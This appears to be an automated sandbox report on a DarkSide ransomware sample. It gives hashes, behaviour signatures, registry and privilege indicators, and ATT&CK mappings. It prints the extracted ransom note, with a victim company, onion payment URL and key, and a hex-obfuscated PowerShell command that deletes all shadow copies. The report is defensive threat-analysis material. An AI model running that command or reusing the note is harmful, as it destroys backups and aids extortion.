89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
109s
max time network
114s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Score

10^/10

ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\RedoImport.crw => C:\Users\Admin\Pictures\RedoImport.crw.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\RedoImport.crw.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\RenameLimit.tif => C:\Users\Admin\Pictures\RenameLimit.tif.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\RenameLimit.tif.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File renamed	C:\Users\Admin\Pictures\NewFind.raw => C:\Users\Admin\Pictures\NewFind.raw.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
File opened for modification	C:\Users\Admin\Pictures\NewFind.raw.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Modifies registry class 5 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

pid	process
2012	powershell.exe
2012	powershell.exe
768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSecurityPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeTakeOwnershipPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeLoadDriverPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemProfilePrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemtimePrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeProfSingleProcessPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeIncBasePriorityPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeCreatePagefilePrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeBackupPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeRestorePrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeShutdownPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeDebugPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemEnvironmentPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeRemoteShutdownPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeUndockPrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeManageVolumePrivilege	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 33	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 34	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 35	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeBackupPrivilege	1944	vssvc.exe
Token: SeRestorePrivilege	1944	vssvc.exe
Token: SeAuditPrivilege	1944	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	pid	process	target process
PID 768 wrote to memory of 2012	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe
PID 768 wrote to memory of 2012	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe
PID 768 wrote to memory of 2012	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe
PID 768 wrote to memory of 2012	768	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
"C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2012

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
c398011c22fe198ebac4a37f582b8579

SHA1
d4a6cd59ed5cda635649d1ad90ef8a043e666d82

SHA256
4bdd8e712b595df52420d22bfe4d1f19b5737fd948090dafee6799b27b94b3b2

SHA512
36f681214c374309b4eafcf7a7ec9c46128f780ee10de12a68a44ac3d762f8ebd756c2ef1b12ef3d67dd47bc10d016360c2f1dac18571a5fafa50bfc7562ab0f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
1db87e4441557891ee541ea0c38e3711

SHA1
418cb1c61180e03f30f74fa4320639baa256063c

SHA256
348588ed5b513c571c31ca6ba16432cbb446c6333ac4ab63d4d2f8a16dde5e0e

SHA512
389539e42d2870f6f26a59c664b871d07ff5172d03fbcec11029429d7368c6adb2b9758ac3b1f690283694ae4b9ebe9817031d23927d5d3bcb85af735b8175b2

Download Submit
memory/768-60-0x0000000075EF1000-0x0000000075EF3000-memory.dmp

Filesize
8KB

Download
memory/2012-66-0x000000001AB34000-0x000000001AB36000-memory.dmp

Filesize
8KB

Download
memory/2012-64-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

Filesize
4KB

Download
memory/2012-65-0x000000001AB30000-0x000000001AB32000-memory.dmp

Filesize
8KB

Download
memory/2012-63-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/2012-67-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

Download
memory/2012-68-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/2012-69-0x000000001B640000-0x000000001B641000-memory.dmp

Filesize
4KB

Download
memory/2012-70-0x000000001B8B0000-0x000000001B8B1000-memory.dmp

Filesize
4KB

Download
memory/2012-62-0x000007FEFC181000-0x000007FEFC183000-memory.dmp

Filesize
8KB

Download
memory/2012-61-0x0000000000000000-mapping.dmp

Download